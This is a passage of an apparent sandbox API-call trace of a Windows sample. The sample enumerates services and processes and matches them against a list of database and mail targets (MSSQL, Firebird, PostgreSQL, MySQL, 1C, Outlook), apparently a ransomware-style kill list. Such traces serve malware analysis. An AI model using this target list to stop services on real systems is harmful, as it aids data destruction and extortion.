(lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.868] lstrlenW (lpString="CscService") returned 10 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.868] lstrlenW (lpString="DcomLaunch") returned 10 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.868] lstrlenW (lpString="Dhcp") returned 4 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.868] lstrlenW (lpString="Dnscache") returned 8 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.868] lstrlenW (lpString="DPS") returned 3 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.868] lstrlenW (lpString="eventlog") returned 8 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.869] lstrlenW (lpString="EventSystem") returned 11 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.869] lstrlenW (lpString="gpsvc") returned 5 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.869] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.869] lstrlenW (lpString="lmhosts") returned 7 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.869] lstrlenW (lpString="MMCSS") returned 5 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.869] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.869] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.869] lstrlenW (lpString="MpsSvc") returned 6 [0263.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.870] lstrlenW (lpString="NlaSvc") returned 6 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.870] lstrlenW (lpString="nsi") returned 3 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.870] lstrlenW (lpString="PcaSvc") returned 6 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.870] lstrlenW (lpString="PlugPlay") returned 8 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.870] lstrlenW (lpString="Power") returned 5 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.870] lstrlenW (lpString="ProfSvc") returned 7 [0263.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.870] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.871] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.871] lstrlenW (lpString="RpcSs") returned 5 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.871] lstrlenW (lpString="SamSs") returned 5 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.871] lstrlenW (lpString="Schedule") returned 8 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.871] lstrlenW (lpString="SENS") returned 4 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.871] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.871] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.871] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.872] lstrlenW (lpString="Spooler") returned 7 [0263.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.872] lstrlenW (lpString="SysMain") returned 7 [0263.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.872] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.872] lstrlenW (lpString="Themes") returned 6 [0263.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.872] lstrlenW (lpString="TrkWks") returned 6 [0263.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0263.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0263.872] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0263.872] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0263.872] lstrlenW (lpString="UxSms") returned 5 [0263.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.872] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.872] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.872] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0263.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e0 [0263.874] Process32FirstW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.874] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.875] lstrlenW (lpString="System") returned 6 [0263.875] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.875] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.875] lstrlenW (lpString="smss.exe") returned 8 [0263.875] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.875] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.876] lstrlenW (lpString="csrss.exe") returned 9 [0263.876] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.876] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.876] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.876] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.876] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.876] lstrlenW (lpString="wininit.exe") returned 11 [0263.876] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0263.876] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0263.876] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.876] lstrlenW (lpString="csrss.exe") returned 9 [0263.876] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.877] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.877] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.877] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.877] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.877] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.877] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.877] lstrlenW (lpString="winlogon.exe") returned 12 [0263.877] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0263.877] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0263.877] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.877] lstrlenW (lpString="services.exe") returned 12 [0263.877] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0263.877] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0263.877] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0263.877] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0263.877] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0263.877] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0263.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0263.878] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.878] lstrlenW (lpString="lsass.exe") returned 9 [0263.878] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0263.878] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0263.878] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0263.878] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0263.878] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0263.878] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0263.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0263.878] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.878] lstrlenW (lpString="lsm.exe") returned 7 [0263.878] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0263.878] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0263.878] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0263.878] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0263.878] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0263.878] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0263.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0263.878] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.879] lstrlenW (lpString="svchost.exe") returned 11 [0263.879] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.879] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.879] lstrlenW (lpString="svchost.exe") returned 11 [0263.879] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.879] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.880] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.880] lstrlenW (lpString="svchost.exe") returned 11 [0263.880] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.880] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.880] lstrlenW (lpString="svchost.exe") returned 11 [0263.881] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.881] lstrlenW (lpString="svchost.exe") returned 11 [0263.881] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.881] lstrlenW (lpString="audiodg.exe") returned 11 [0263.881] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 